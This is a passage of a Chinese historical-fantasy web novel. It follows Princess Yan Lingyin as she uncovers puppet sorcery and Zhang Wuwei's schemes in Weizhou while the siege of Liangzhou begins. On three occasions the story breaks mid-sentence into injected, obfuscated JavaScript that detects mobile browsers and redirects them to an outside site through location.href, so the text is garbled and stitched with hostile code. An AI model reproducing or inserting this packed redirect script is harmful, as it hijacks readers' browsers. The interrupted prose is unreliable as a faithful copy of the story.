晏泠音一面想他何止是有些奇怪,一面也生出了警惕,担心宋齐发现了什么。她微偏了头,借脚步声盖住了说话的声音:“成均觉得他不对劲?” 宋齐沉吟道:“他的气息若断若续,连我都很难听清,这种情况,不是修炼了怪异的内功心法,就是病重将死。可他脚步虚浮,显然不会武艺,面相也还算康健,不像是身有顽疾。”他感觉到晏泠音的脚步慢了下来,疑惑地唤了一声,“殿下?” 那句病重将死让晏泠音有些晕眩。她诧异于迎面扑来的夜风怎会如此冰凉,以至于她的呼吸也被冻住了一瞬。她其实隐约怀疑过,那夜苏觅在她房中,凭宋齐的耳力,怎么会全无所察。原来是因为这个,因为苏觅并不像个活人。 或许……这样对她而言更好。苏觅太危险了,她不应该,也不可能和那样的一个人有未来。 “既然他不会武艺,想来也构不成威胁。”晏泠音定了定神,脚步又加快了,“不必节外生枝。” 她住的这条廊子里挂了纸灯,光线是发暗的红。她走在血雾一样的灯光下,只觉头晕得更加厉害了。宋齐没有跟上来,他站在廊子尽头等她进屋,晏泠音不想让他看出端倪,竭力稳住呼吸。在推门时,她的手心已出了汗。 这是她来北地后第二次犯病。 屋门合上的那一霎,晏泠音背抵着它,慢慢滑坐在地。头太痛了,像被人凿入了钉子,一下一下地用力砸。她身子发软,只能勉强将自己蜷缩起来,抬手摁住了额角。口中有咸腥的味道,她不知何时已咬破了嘴唇,在剧烈的疼痛里模糊了对外界的感知。眼前一片漆黑,她像三年里的每一天一样,被禁锢在方寸之地的暗夜里,永远不得逃脱。 而这一次,她听见的不是琴音,而是风过竹林的萧萧声。她回到了那个不见天日的小屋里,僵坐在白骨中,被无数冤魂的低语缠绕着,撕扯着。 早在那时,她就斩断了和外界的一切情感牵系,从那里出来的不再是从前的晏泠音。十四岁的她已葬身在竹林里,她与那个过早夭折的女孩诀别时,没有一丝犹豫。 可为什么,近来她还是会频频想起过往,想起在那噩梦般的三日三夜里,她曾在短暂的软弱时刻等待过什么,不是等谁来救她——她从不期待自己会被谁拯救,只是想着,如果有人能陪她说说话就好了。 如果有人愿意叩响那扇紧闭的门,隔着门扇唤她一声…… “殿下,”男子的声音在她耳边响起,很哑,“阿音。” 晏泠音痛得恍惚,甚至没有立刻认出苏觅。窗扇大敞着,夜风从外面灌了进来,随之涌入的月光映出了苏觅苍白的脸。他走得急,翻进屋时趔趄了一下,被他撞倒的烛台一路滚到了两人脚边。 “阿音,”苏觅跪坐在地,环着她的双臂发颤,一遍又一遍地重复着她的名字,“阿音。” 她紧咬着的唇被分开了,再咬下去时触到了硬物,那是苏觅的手指。陌生的咸腥味又漫涌开来,她在血的刺激下恢复了一点神识,终于看清了面前的人。 “你来做什么,”她的声音比苏觅还哑,像是三天未进过水米,“放开……我。” 她被他搂得发痛,却在那个比夜色还寒凉的拥抱里觉出了一丝温度。头疼还在继续,但已不再那样不可忍耐,清苦的药气环绕着她,让她慢慢地镇定下来。 她又低声说了一句:“让开。” 苏觅没有应她。他用带血的手指摹画着她唇上的伤口,那是昨夜他吻过的地方。她总是这样,他吻着她,却像是吻着一片又轻又薄的月光。月亮落在他身上的时间太短了,和他离得也太远了,隔在他们中间的是汪洋般的过往梦魇,他用尽办法也无法将距离缩短一毫一厘。 晏泠音在挣扎,可她依旧没有力气。苏觅在她耳边短促地笑了一声,不知道是在笑她,还是在笑自己。 “你吓到我了,殿下。”他用袖摆拭着她额上的汗,动作很轻,“还难受吗?” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431934|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松手,就不难受了。”晏泠音恨道。痛意确实缓解了不少,苏觅束缚着她,却也支撑着她,让她从压迫她的无边黑暗里挣脱出来,像终于浮出水面的溺水者。她浑身被汗浸透了,但苏觅身上竟然也是湿的,他同样在出汗。 疑虑后知后觉地从心头升起,但晏泠音没来得及细想。她被苏觅抱起时低呼了一声,下意识揽住了他的肩。他太瘦了,肩胛骨轮廓分明,高瘦的身子在风中微微晃着,却将她托得很稳。 “苏觅,”她此时已彻底清醒了,挣扎得更加用力,“你发什么疯?” 他也不解释,只抱紧了她一路走到床边,俯身将她放在被褥之上。晏泠音和他对视着,直到他倏然垂首,在她仍隐隐作痛的额角落下冰凉的吻。 “早点休息,”他将脸埋在她发间,有些不舍地嗅着她身上浅淡的香气,“明天就离开蔚州。” “这话奇怪,”晏泠音的手抵在他胸口,将他推开了些,那是他身上唯一温热的地方,“公子总得告诉我理由。” “宅子有问题,”苏觅侧眸看她,瞳孔中有暗色的红一闪而过,“张无为一定动了手脚。殿下今天见到他了?他说了什么?” “你先说清楚,”晏泠音汗湿的碎发被他拨至耳后,她一把抓住那只作乱的手,沉声道,“宅子有什么问题?” 她的指根抵在苏觅的腕骨旁,却几乎感受不到他脉搏的跳动。苏觅没有将手抽回,只顺势反握住了她的手。 “宅子里放了偶人,”他摩挲着她掌心的纹路,小心地避开了那几道浅疤,“可以肯定,是冲殿下来的。” 这句话让晏泠音有半刻愣怔,她此前从未听说过北地有术师。在此情形下,她第一时间想到的不是这座宅子如何,自己如何,而是张无为的身世。 张无为是安漼之送过来的。 安漼之是杜慎的旧友。 杜慎死于承观十六年的偶人案。 苏觅察觉到了晏泠音的变化。她原本乏力的手指倏然收紧,几乎将他的掌心掐痛。他任凭长甲嵌入自己掌中,安抚般的温声唤她:“殿下。” 晏泠音喘息着,慢慢松开了手。她的眼神从方才起就变了,月亮的幽光在她眸中凝成了冰。 “劳烦公子点上灯烛。”她仰脸对上了苏觅的目光,“我们坐下来谈。” 月光被拦在了窗外,烛台和木椅都被苏觅挪到了榻边。晏泠音靠坐在床头,见苏觅没有立刻坐下,而是绕去桌案旁斟了盏茶,背对着她一饮而尽。 他有意挡住了她的视线,但晏泠音还是瞥见了他指缝间露出的瓷瓶。他被茶水呛得咳嗽了两声,随即神情自若地转过身来,又恢复了言笑晏晏的模样。 瓷瓶被他收入袖中前,上面的字在晏泠音眼前一闪而过。 木落。 “殿下,”苏觅仿佛并未察觉到她的注视,拉开木椅坐到她身侧,轻声道,“我们开始罢。” 53. 谎言 晏泠音讲了今日议事的情形,苏觅听得仔细。听完后,他摇了摇头:“张无为骗骗自己便罢,骗不过陈老的。” 京中党派如林,人和人的关系也复杂,“老师”“学生”这类称呼,往往都带了水分,只是来往时的客套话,没人会把它当真。可陈桉不一样,他和杜慎是一类人,不会随随便便就认了谁做弟子,也不会轻易就认下那一句“老师”。他对张无为的了解,或许比张无为自己以为的更深。 “陈老把我单独留下后,给我讲了一件事。”晏泠音面色还有些苍白,但语气镇定,“那一年太子妃还未出阁,在庭院里见了只黑底蓝花的蝴蝶,很是喜欢。张无为想替她扑了来赏玩,可太子妃不忍杀生,此事便作罢了。结果第二天,张无为还是把它呈给了太子妃,说蝴蝶是被马车撞死的,而他只是凑巧拾到。” 陈洵的婢女识破了这个谎言,因为她曾亲眼见到张无为扑杀蝴蝶,为此,陈洵一连三日没和张无为说过话。 “我猜这件事还不算完,”苏觅拨转了一下烛台,以免蜡油滴在晏泠音身侧,“那个婢女在陈家定然待不久。” 他说得平淡,晏泠音不看他,却又感觉到了被毒蛇环伺的凉意:“公子料事如神。张无为确实痴情,可他绝非软弱无能之人,他足够心狠,为达目的可以不择手段。” 因此,陈桉虽然清楚他对陈洵的感情,却还是把陈洵嫁给了太子。张无为对此毫无怨言,仍然尽心尽力地照顾陈桉,反倒惹得陈桉愧疚了一阵。可他的态度也很明显,如果重来一次,他依旧不会选择张无为。那种爱太扭曲,也太可怖了。 晏泠音没再提陈家的旧事:“这样的人,只要他愿意,自然有千百种办法和安漼之抗争。他在随州扛过了那样重的压力,怎么到了青州就无计可施了呢?” 苏觅悠悠地接过了她的话:“不是不能,是不想。” 她在思索时有个习惯,总要探手去摩挲腰间那块玉佩,但今日却摸了个空。方才挣扎时,玉佩从腰带上脱落了,此刻正躺在不远处的被褥上。她收了手,盯着那点莹润的光开口道:“蔚州也是如此。” 张无为有一点没有说错,蔚州城中并无冻饿至死的流民,因为他确实做了些事情。他愿意开仓放粮,在天气转冷时把衙门腾出来给百姓居住,单看这些,他甚至能算得上一介清吏。但他不够诚实,在蔚州城外,那些无人知晓的荒冢里,早已葬满了百姓的尸体。 其中有葛茵的家人。 “问题根本没被解决。”苏觅有一下没一下地敲着烛台。他现在所说的,和晏泠音今日告诉陈桉的话极其相似,“只是被掩盖住了。” “倒卖人口的事,侵夺田地的事,不该全怪在山匪头上,”晏泠音说到这里,声音冷了下来,“张无为也是主谋。” “那殿下有没有想过,”苏觅望着她,眸光幽暗,“他这么费尽心机,究竟是为了什么?” 为什么要不远万里来到蔚州,为什么要在这里隐姓埋名地苦苦经营,连自己的老师都要竭力欺瞒? 这个话题,晏泠音在陈桉面前只能点到即止,但她可以和苏觅谈。 “公子知道吗,”她忆起白天的事,依旧觉得讽刺,“在这种地方,张无为手里还放着好茶,特意拿出来待客呢。” 苏觅笑了一声,笑意却未达眼底:“陈老的脸怕是都黑了。” “早年先帝在蔚州设茶舶司,管的是北地和幽国的茶马互市。”晏泠音留心看了眼苏觅,见他对幽国二字没什么反应,像是真的毫无留恋,“近来战事频仍,互市便也断了,幽国不愿再提供马匹,北地要用战马,是走西线,用茶与西部的游民换马。但那里有冷霏覃,茶马交易经了他的手,吃亏的还是北地。” “安漼之好算计啊,”苏觅的眼角挑了起来,似是揶揄,又似是真心赞赏,“让张无为来这里接手茶市,顶着骂名,好处全让安家占了。” “同时,”晏泠音望着跃动的烛火,“他还能钳制谢朗。” 梁国对私茶贩卖管得极严,张无为在蔚州,便能就近盯住宋家兄弟。只要他们有把柄落到张无为手里,下狱问斩不过一句话的事。若再往下深查,谢朗同样脱不了干系。 “可安漼之为何觉得,张无为一定会听命于他?”晏泠音已经想了许久,仍觉此举风险不小,“他若是存心倒戈,安家就会被反咬一口。” 苏觅没有立刻答她。他侧身抬袖,从袖中拈出了一支绯红的百日草。那是晏泠音拒绝收下,又被风吹落、滚在后院里的。他将它捡了回来,甚至还带在了身上。 “殿下不要我的花。”他挑着眼角叹了口气,没等晏泠音回答,迅速接了下去,“但殿下可知道,这种花象征着什么?” 百日草的花瓣已经有些发蔫,只那抹红依旧夺目。晏泠音望着它,抿唇不言。 “等待。”苏觅的声音很轻,“张无为种百日草,是在等待一个人回来。” 晏泠音当即明白了他的意思:“可她已经回不来了。” “如果真的有办法呢?”苏觅微偏了头,说得认真,“以张无为对太子妃的感情,即便是要他的命,他也不会有半分犹豫的。” 凉气蔓上了晏泠音的脊背,不知是因为苏觅的神情和语气,还是因为他说的那件事情。她下意识问道:“什么办法?” “殿下忘了,”苏觅又屈指敲了下烛台,似笑非笑,“偶术能取人性命,也能护人平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431935|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安。只要术师愿意付出相应的代价,活死人肉白骨,也未必办不到。” 晏泠音沉默片刻,低声但笃定道:“不,办不到的。” 她深吸了口气。 “人走茶凉,偶术不可能逆天改命,无论什么代价……都不可能。” 苏觅倾身靠近了些,注视着她的眼睛:“殿下,这么肯定?” 自然肯定。 否则,她又何至于守这三年。 苏觅的眸光微闪,晏泠音什么都没说,但他似乎能听到她的想法。他的神色柔和下来,烛焰跃动在他的眼中:“我明白,因为我也试过。” 晏泠音不可置信地望向他,却见苏觅的眼睛一眨不眨。 “我一直知道,”他的眸中恹色浓重,唇角却是扬着的,“老师回不来了。” 灯烛噼啪一声,爆开了今夜的第一朵烛花。晏泠音双眼干得发痛,却没有避开苏觅的目光。她听见自己声音发哑:“如果真是安漼之在教唆张无为,那他一定撒了谎。” 苏觅的声音也哑:“可是张无为信,他或许失败过很多次,但至今都没有放弃尝试。殿下,可曾听说过百花窟?” 晏泠音的手在颤。方才苏觅说此地有偶人时,她已模糊地猜到了什么,若张无为真的那么大胆…… “百花窟里的女子,”苏觅注意到晏泠音的神情,顿了一下才继续道,“至少有三成是死于偶术的。我不知安漼之同张无为说了什么,但那些女子有个共同的特点,她们都出生在八月,和太子妃一样。” 他怎么敢。 晕眩感又一次袭来时,晏泠音不得不阖上了眼。她在一片暗红中望见了隐隐绰绰的人影,全是瘦骨嶙峋、衣不蔽体的女子。张无为想要一命换一命,但这种术法本身就是逆天而行。他即便害死再多的人,也不可能真正换回陈洵。 “殿下,和张无为是讲不了道理的,”她听见苏觅的声音就在耳侧,也感觉到他又一次轻握住了她的手,“如果逐风阁还在我身边,我会立刻除掉这个人,以绝后患。” “没有逐风阁,”晏泠音咬牙道,“我也能除掉他。” “是,”苏觅没有否认,握住她的力道却变重了,“但不是现在。明日,殿下必须离开。” 晏泠音在他的坚持里听出了什么。 “是我吗,”她轻声道,“他的下一个目标?” 苏觅不说话,但他的沉默已经是回答。晏泠音的心慢慢沉了下去。她并不觉得惶恐,只是忽然便有些疲惫。 连她自己都差点忘了,后天是八月初九,她的生辰。 “我不会走的,”她缓了一阵,依旧阖着眼,声音却很清晰,“我要留在蔚州。” 54. 社燕 “年年,如社燕……” 魏收绕过巷道拐角往北城墙去,神色冷淡,走得很快。 “漂流瀚海,来寄修椽……” 魏收的脚步顿了一下,回过头往拐角处看。那里躺着一个醉醺醺的男子,衣衫凌乱,身旁的空酒坛被风推着,正在骨碌碌地滚动。他半闭了眼,似乎并不在意魏收的注视,仍陶醉地轻声哼唱着,于振奋处还高举手做举杯痛饮状。 “……且莫思身外,长近尊前!” 这调子耳熟,是十数年前曾流行过的一只江南小曲。魏收转过身,几步走到男子跟前,辨认片刻,用短靴轻磕了下男子的头:“罗统领,好兴致。” 右卫将军罗从舟在迷蒙间睁开眼,也不知有没有认出魏收,嘻嘻地笑了起来:“好兴致!高歌纵酒,人生美事!” 他一边说,一边抬手在空中胡乱比划,小指高高翘着,无端地带点娇娆。这人身世特殊,入伍前是个唱戏的伶人,机缘巧合入了谢初原帐下。在北地风刀霜剑多年,他那点伶人的腔调早被磨得差不多了,只在醉后会故态复萌,咿咿呀呀地唱点小曲,情动时还会落下泪来。 “后半夜是统领轮值,”魏收不动声色地提醒他,“酒醉误事。” 罗从舟不言,只是看着魏收嘻笑。他原本皮肤白,虽然在北地晒黑了不少,但眉眼轮廓清秀,此刻醉态上来了,眼波横流,恍然有几分白面小生的样子。魏收向来不喜伶人,和罗从舟也相交不深,见他听不进自己的话,懒得再管,抬脚又往北走。 “魏藏锋。” 罗从舟叫住了他,语气仍旧散漫,却已经和方才不一样了。他夸张地吸了吸鼻子,笑道:“你身上也有酒气啊,去哪里偷喝了好酒,怎的不带上我?” 这老酒鬼,魏收暗骂了一声。他只稍抿了两口,身上的酒味淡得狗都闻不出来。他不应声,罗从舟便也不问了,摇头晃脑地继续唱他的小曲。 “憔悴江南倦客,不堪听、急管繁弦……” 走出很远,魏收还能听到他苍凉的歌声,回荡在阴郁低压的天穹下,也回荡在泾州厚重古老的石墙间。他不是容易感伤的人,但罗从舟的声音无端让他有些胸堵。是因为曲子罢,魏收蹙着眉想。上次听到这只曲子,已经是太久之前的事了。 久到……仿佛已过了一生。 晃神间,魏收险些撞上了另一个人。他后退一步看清了来者,客气地点头招呼:“高统领。” 高介景是谢初原的副将,如今独立统领二营军事。他年纪稍大,资历也老,平素不苟言笑,只朝魏收点了下头算是回礼。但就在两人擦肩的那一瞬,魏收听见他开了口:“今年的冬天不好过。” “是啊,”魏收应得自然,“这才刚入秋,天冷得古怪。” 高介景停了步,魏收也没往前走。两人错开半步肩并着肩,都微侧了身。这是个适合私密交谈的距离,只要放轻嗓音,不会有第三个人听见。 “一别多年,”高介景的一只眼睛坏在了幽军箭下,魏收偏过头也只能看到他灰白的、毫无生气的眼瞳,“我没想过还能见你。” 魏收轻嗤:“若是来叙旧的,恕我失陪。” “三哥儿,”高介景唤出这个称呼后顿了一下,有些迟疑,“我走后才听说,老爷和夫人……” “忘了罢,”魏收说得轻描淡写,“我早就忘了。” “老爷生前豪侠仗义,即便在泾州这样的荒僻之地也颇有声名。”高介景坚持道,“你若愿意表明身份,泾州的将士们都会接纳你。” 魏收回眸看他,目光警觉:“什么意思?” 高介景似乎早就料到了他的反应,将语速放缓:“我老了,泾州需要有才干的年轻人。我此前已和几位将军聊过,他们都很欣赏你。” 魏收一言不发,转头就走。 他走得利落,但直到登上了北城墙,心中还未完全安定下来。这一次没费什么力气就寻到了谢朗,那人正负手而立,望着夜色里的茫茫平野,神色沉寂。魏收走至他身后,忽然听到一声尖锐的鹰啼,仰首时,正见流夜双翅舒展,在空中划出一道凌厉的弧线。 边地长风猎猎,将魏收不惯束起的碎发吹得张扬开来,直直地刺向身后。 “这只鹰跟了我多年,”谢朗没有回头,却已听出了魏收的脚步声,屈指在唇边打了声哨,“因为性子傲,向来只把我当老友,时不时还要同我打一架。” 流夜闻声展翼,又划过一道长弧落至谢朗的肩膀,收翅时刮到了魏收的脸,颇有些疼痛。魏收没打算和鸟计较,只笑着附和道:“是将军心胸大度,御下有方。” 一只灰不溜秋的鸽子正在流夜爪下挣扎。花梨鹰虽然凶猛,但使力很巧,不至于让鸽子逃掉,却也不会将它弄死。谢朗抬手,从鸽子腿上卸下一只细小的纸筒,没急着看,只用指腹轻轻摩挲着,若有所思。 “这几日魏兄帮忙巡城,着实辛苦,待战局安定下来,我当备酒酬谢。” “将军说的哪里话,”魏收正色道,“守城是我大梁子民应尽之义,我虽粗鄙,却也知匹夫有责的道理。我此行是为梁国,将军不必,也不该谢我。” 流夜短促地叫了一声,歪头舔舐脚爪上的血迹,一双晶亮的鹰眼却一眨不眨地盯着魏收。谢朗微沉了肩,侧身替它梳理羽毛,语气很随意:“喝杯酒罢了,魏兄这样严辞相拒,着实让我惶恐。” “将军的好意,我已心领。”魏收转过目光,望向城内的零星灯火,“奈何此身实不由己,不敢奢想太多。” 谢朗收了手,流夜清啸一声,又复腾空而起,没入浓云不见了。这一日天阴得厉害,墨云一重压着一重,闷得人透不过气。魏收敏锐地察觉到,原本在不远处巡视的兵士都已走远,高耸的城墙上,只剩下他和谢朗两个人。 他这几日已在刻意避着谢朗,最终还是躲不掉这场对谈。谢朗想问什么,他心里倒也大致有数,但无论如何,不该是现在。 “若将军没有其他事,我就先告退了。”魏收边说边回过身,“东面的城防还……” “是因为殿下吗?” 少年将军的声音在层层阴云下显得格外清朗。不等魏收回答,他已又缓慢却清晰地重复了一遍:“只因为公主对你有恩,便可放下过往的一切,连杀亲之仇,亦能抛诸脑后吗?” 魏收猛地转身,不可置信地盯着谢朗。片刻,他紧绷的肩背又放松下来,无谓道:“家父家母俱已亡故,师父踪迹难测生死不知,我此生早无挂碍在心,待还清先人欠下的情义,我便追随师父四方云游,再不管凡尘俗事。”他沉了嗓音,“冤冤相报何时了,何必。” 谢朗也转过了身。 “无挂无碍吗,那魏兄当年为何要救青荷姑娘?她和你非亲非故,且身世迷离,魏兄这样谨慎的人,又何必惹火上身?” 魏收双目圆睁:“你……” “主君不仁,受累的便是天下百姓。”谢朗摇了摇头,轻声却笃定,“魏兄想独善其身,恐怕没那么容易。” “谢朗,”魏收后退半步,惊疑道,“你想造反?” 身后传来急促的脚步声,有人奔上了城墙。魏收没顾得上回头,只皱眉望着谢朗等他回答。少年将军抬手抚上腰侧的佩剑,刀削斧凿般俊美的面容上无波无澜。他立在那里俯视伤痕累累的泾州城,眼中是不属于他那个年纪的坚毅平静。 “我想保的,只是泾州而已。” “哥哥!” 魏收浑身一震,仓促转身,青荷已扑进了他的怀中。兄妹二人多日未见,又都频遭艰险,不异于经历了一场生离死别。魏收抱住她时手都在抖,声音也发着颤:“怎么……怎么晚了这么久?” 青荷与弦歌结伴,没有和晏泠音他们同行,也因此避开了白水河的船难。但即便如此,她们这一路显然也并不轻松,青荷衣衫单薄,发髻蓬乱,脸颊瘦得凹陷下去,看得魏收心中生痛。 “我没事。”青荷仰起脸,冲他勉强一笑,“到处都不太平,好在我和弦歌都会武,后来又遇上了宋公子。” 魏收解下她身上那件男子样式的罩衣,抛给了紧随她而来的青衣男子,又将自己的罩衫给她披上:“我安排的几个人呢?” “死了。”青荷低声道,“我们被人盯上了。” 魏收揽住她的手紧了紧,眯眼看向不远处的人。他和宋齐是一个模子刻出来的,只通身气度更为风流儒雅,面上也带着浅淡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431936|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑。 “成言。”谢朗先一步开口招呼,“一路辛苦。” “误了些时辰,好在救下了两位姑娘。”宋贤臂上搭着罩衣,向魏收投去一瞥,“藏锋剑,在下闻名已久,幸会。” 魏收没看他,而是转向了谢朗,目光里带着询问的意思。 “你们殿下拜托过我,”谢朗和他对上视线,神色坦然,“要我护这两位姑娘平安。” 魏收觉得哪里不对,却一时琢磨不出,倒是青荷环顾一圈,喃喃道:“殿下呢?” 她这一问,魏收才骤然反应过来。晏泠音不是会平白无故请人帮忙的性格,她愿意对谢朗开口,一定是因为谢朗自己也有求于她。 他求她什么? 那一霎连风也静止。仿佛就是为了回应他的疑问,西面的天空骤然亮起,爆出一片不正常的红光。隔得太远,听不见那里的声音,但所有人都能看出,那是山火。 乐山烧起来了。 飞鸿剑瞬间出鞘,在暗夜里游走成一条银线,直直地刺向静立原地的谢朗。魏收又惊又怒,这一下使了全力。铮的一声,宋贤挥剑替谢朗挡下一击,自己也被逼得倒退两步,虎口酸痛:“魏兄,你冷静点!” 这一句无异火上浇油。魏收冷声质问:“你明知蔚州危险,却还是把殿下送去那里,谢朗,你安的什么心?” 谢朗的手仍搭在剑柄上,没有拔剑,仿佛刚刚差点被刺中的人不是他一样。他不开口,宋贤替他解释道:“有成均陪着殿下,不会出事的,况且,馥川早在蔚州城外做了布置,定能保殿下无虞。” “殿下是朝廷的公主,奉皇命前来,若是出了事,”魏收咬牙道,“泾州也别想好过。” “公主她,无论如何,”谢朗面上闪过一丝不易察觉的恍惚,不知是想起了什么,“都是我的妻。朝廷那边,我自会给出交代。” 魏收想骂他放肆,话到口边又觉得没必要了,一个起落便奔至十丈之外。青荷跟在他身后,连惊魂未定的弦歌也跟了上去,急切道:“还有我家公子……” 轰隆一声,城墙上数人都停了动作,一齐向城外看去。原本浓雾掩映的平野上,像是凭空出现了黑压压一片大军,火把照亮了黑夜,甚至压过了西面天际的火光。而就在大军之前,有两道单薄的人影正在往泾州疾奔而来,宋贤视力最好,皱眉辨认道:“是成均,和……陈侍郎?” 本该在蔚州护卫晏泠音的宋齐却出现在这里,安分了半个月的幽军也毫无预兆地于此时发动攻击,这一切不可能是巧合。魏收心中发冷,自悔不该信任谢氏。他尚不知晏泠音和谢朗谈了什么,只本能觉得那不是一桩好生意。 数十架弩箭被架上了城墙,训练有素的射手们皆已就位,只等谢朗下令。城外的两个人越奔越近,宋齐边纵马边挥剑格挡,拦下了背后射来的羽箭。三条长绳从城上垂下,宋贤沿着其中一条滑了下去,跃至两人身前接应。陈桉上了年纪,腿脚不便,被兄弟两人架住才攀稳了绳索,尾随而来的幽兵还没靠近城墙,便被拈弓搭箭的谢朗射得翻倒在地。 “放箭!” 随着这一声厉喝,无数燃着的羽箭飞掠而下,落入幽军的阵中烧成了一片。大军的行动被暂时遏止了,可越来越多的幽兵仍在向泾州推进,蜿蜒成一条粗壮可怖的长龙。 这是一次早有计划的攻城。 魏收攥紧了手。身旁的一位弓箭手被幽军的箭矢射中,抽搐着仰面倒地。他几步上前扶住了摇晃的弩箭,转头去看谢朗。战火映照下,谢朗的脸色冷得像冰,周身煞气凝聚。他又一次拉开弓弦时,那嘎啦声听得人汗毛直竖。 “魏兄大可怨恨于我,但我无愧于心。”他不看魏收,只一字一句说得清晰,“前往蔚州是公主自己的决定。她希望泾州无恙,在这一点上,我与她同心。” “留下助战也好,去蔚州寻主也罢,我不会阻拦魏兄,但我要提醒你——” 流夜盘旋而下,啄向幽军的双眼,铁钳般的利爪将他们的肩臂撕得血肉模糊。在哀鸣和喊杀声里,谢朗手中那支羽箭的破空声依旧尖利刺耳。 “泾州是北地最后的屏障,一旦失守,恐怕不会再有梁国,更不会有什么公主殿下。” 55. 白幡 六个时辰前。蔚州。 晏泠音走在街巷间,只觉周围安静得令人生疑。平素闹哄哄的街道上几乎看不见流民,更听不到他们的嘶喊和低泣。可她依旧能感觉到从四面投来的目光,那是一种隐秘却并不友好的审视与打量,仿佛她是某种误入陷阱的猎物,正等着人来围捕。 腰间的玉佩太过惹眼,已被她取下收入了怀中。昨日她同苏觅夜谈之时,他随手替它编了条穗子,用的是光洁的红丝绳。当时他问她:“如果陈桉得知有希望救回女儿,殿下凭什么觉得,他还会和你、和我,站在同一边呢?” “宣抚是明事理的人。” 苏觅笑得耐人寻味:“不必和我讲道理——殿下,你我都明白,死生天堑,在那样的痛楚面前,道理是最无用的东西。” 红绳耀目,跃动在他修长的指间,逐渐挽成了同心结的样式。晏泠音盯着那精巧的绳结看了片刻,摇头道:“我只能赌。” 她只能赌。因她身边没有可供参考的凭照,去衡量一位父亲对女儿的心。 最后苏觅扔下玉佩走了。晏泠音想起来仍有些恼火。昨夜他们不欢而散。 宋齐一路都跟在她身后,向来妙语连珠的人罕见地安静如鸡。晏泠音直觉他有话想说。四顾无人,她索性转身面朝宋齐,后者闷着头走路没刹住脚,差点撞到了她身上。 “……殿下?” 晏泠音只是看着他。宋齐在那样的注视中慢慢站直了身,从恍惚中回过神来。晏泠音这才温和开口:“送到这里就好。回去罢,别让宣抚久等。” 宋齐面有难色:“殿下真的不一起走吗?” “还不到时候。”晏泠音把谎话说得流利自如,“该解释的,我都已写在给宣抚的信里。你们出了蔚州就立即往泾州赶,越快越好,千万不要在途中耽搁。” “明白,”宋齐迟疑道,“我不是信不过殿下,只是想知道,馥川那边……” 晏泠音从袖中摸出一只素面银手镯,递到了宋齐面前。手镯样式古雅,里侧刻着一个小小的、篆体的“谢”字。宋齐抬手触到了银环内侧的暗纹,确认了那并非赝品。 “殿下多保重,”他收手时叹了口气,眉目间隐有担忧,“我们泾州见。” 晏泠音感激他的关切。她在正要转身时又听见了宋齐的声音,这一次他问得突兀,像是怕自己出口便后悔,语速很急。 “殿下是否有无论如何都不会怀疑的人?” “当然。”晏泠音脱口而出。她答完才觉到惊讶,抬头去寻宋齐的目光,却被他躲开了。他垂下眼睫,面色于转瞬间变了几变,嗓音干涩:“那若是他背叛了你呢?” 晏泠音心中忽动。她眼前霎时闪过了好几张面孔,温敏,江渊然,青荷,魏收……宋齐所言固然只是个假设,可即便如此,她也无法将这一假设落到那几个人身上。那是种亵渎。 但若一定要说的话…… “我接受所有人的离开,”晏泠音正色道,“那不是我的错,也不是他们的错。我信他们必有苦衷。” 宋齐眼睫颤动。那一刻,晏泠音觉得他几乎就要说出什么了。可当他终于抬起头时,她只看到了她所熟悉的、毫无破绽的、阳光般灿烂的笑。 “殿下是好人。”宋齐顿了顿,又用力地重复了一遍,仿佛这样才能安心,“泾州见。” 晏泠音也回以笑容:“一路平安,成均。” 她登上道旁的石阶,站在那块写着“百花窟”的木牌下朝宋齐挥手。他抬起左手像是要回应,却动作一僵,轻微地皱了下眉。 是因为他左肩的伤口?过去了这几日,竟还没有恢复吗? 晏泠音觉得不安。她想叫住宋齐问个清楚,可身后紧闭的木门忽然被拉开,她和门内的女子对上视线,两人俱是一愣。 葛茵。 女子的第一反应便是关门,晏泠音下意识上前一步,匆忙将门抵住:“茵茵……” 还没说完,葛茵一下子捂住了她的嘴。 “你不该来这里。”葛茵说得用力,语声却很低,“走。” “我想见你们的管事娘子。”晏泠音的声音被闷在她掌心里,“也有话想跟你说。” 葛茵眉头紧蹙。那张苍白瘦削的脸上闪过了许多东西,像是诧异,又像是讥嘲。她回头往门内看了一眼,又朝晏泠音身后张望了一下,忽然伸手把晏泠音拽进了门内,迅速关上了门。 她们挤在狭长的过道里,光线昏暗,空气也浑浊。晏泠音咳了几声,抬手拨开垂落到眼前的白色布料,疑惑道:“这是什么?” “引魂幡啊。”葛茵冷笑,“殿下身份尊贵,只怕没操持过这种繁杂事,甚至都没见过灵堂罢。” 